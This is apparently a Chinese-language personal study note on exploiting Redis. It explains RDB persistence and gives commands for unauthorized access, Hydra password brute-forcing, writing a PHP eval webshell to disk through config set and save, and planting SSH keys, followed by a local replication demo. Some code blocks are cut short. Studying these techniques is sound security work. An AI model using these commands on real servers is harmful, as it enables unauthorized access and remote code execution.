Redis漏洞学习
Redis基础
一种开源数据库,内容以键值对的方式进行存储。
通常部署在6379端口
RDB模式
RDB(Redis Database File)是 Redis 提供的一种 持久化方式,它会在指定的时间间隔内,将 整个数据快照 保存到磁盘(.rdb
文件),以便在 Redis 重新启动时恢复数据。
SAVE
命令用于 手动触发 RDB 持久化,它会阻塞 Redis 服务器,并将当前内存中的数据保存到磁盘上的 .rdb
文件。
基于RDB模式,我们很容易利用Redis写恶意文件:
1 | 如果 Redis 允许远程访问,并且没有设置 身份验证,攻击者可以使用: |
Redis常用命令:
1 | set xz "Hacker" # 设置键xz的值为字符串Hacker |
Redis经典利用方式
未授权访问
Redis默认情况下不启用身份验证,若无密码保护 ,攻击者可以直接连接Redis并任意执行命令。
连接Redis:redis-cli -h <目标IP> -p <端口号>
如果有密码保护,可以尝试使用Hydra进行爆破:hydra -l redis -P password.txt <目标IP> redis -V
写webshell
利用条件:
- 知道网站绝对路径信息,有可写可执行权限
- redis服务有root权限
利用过程:
连接Redis:
redis-cli -h ip
设置Redis的运行目录(在已知路径下):
Redis config set dir /xxx
将webshell写入进xiaofuc键:
set xiaofuc “\n\n\n<?php eval($_POST[1]) ;?>\n\n\n”
这里加换行符是防止可能的脏数据干扰webshell运行。
更改Redis保存数据库的文件名为xxx.php:
config set dbfilename evil.php
save
恶意登录SSh
1、Redis服务使用ROOT账号启动
2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
首先在攻击机上输入命令:ssh-keygen -t rsa
直接默认回车,公钥被放在/root/.ssh中(id_rsa.pub)
1 | redis config get dir #检查当前保存路径 |
主从复制
主从复制原理与复现
在kali虚拟机新建一个文件夹,打开终端用wget下载Redis源码:
1 | wget http://download.redis.io/releases/redis-4.0.11.tar.gz |
用tar -zxvf解压后,cp复制成两份。
这里我踩了一个坑,在网上搜启动redis服务的时候,要./src/redis-server redis.conf
来启动
然而我在src文件夹下找不到redis-server..
后来才发现要进入redis文件夹下用make命令进行编译才能用,下载下来的只是源码还不能直接运行。
在其中一份的redis文件中,设置redis.conf的port为6380,因为主redis开起来默认port就是6379,防止冲突。
接着分别启动6379与6380端口的redis服务。
我们可以通过redis-cli -h ip -p port
来连接redis服务。
我们先登上6380服务:
SLAVEOF
是 Redis 中的一个命令,用于设置或取消 Redis 实例的主从复制关系。
主要功能
- 将当前 Redis 实例设置为另一个 Redis 实例的从库(Slave)。
- 取消主从关系,使当前实例成为独立的服务器。
1 | SLAVE ip port |
这下6380端口的redis服务成为了6379端口服务的从机,6379为主机。
切换到主机,使用set命令写入键值对:
在从机上就能访问到该键值对了:
以上是主从复制的基本演示。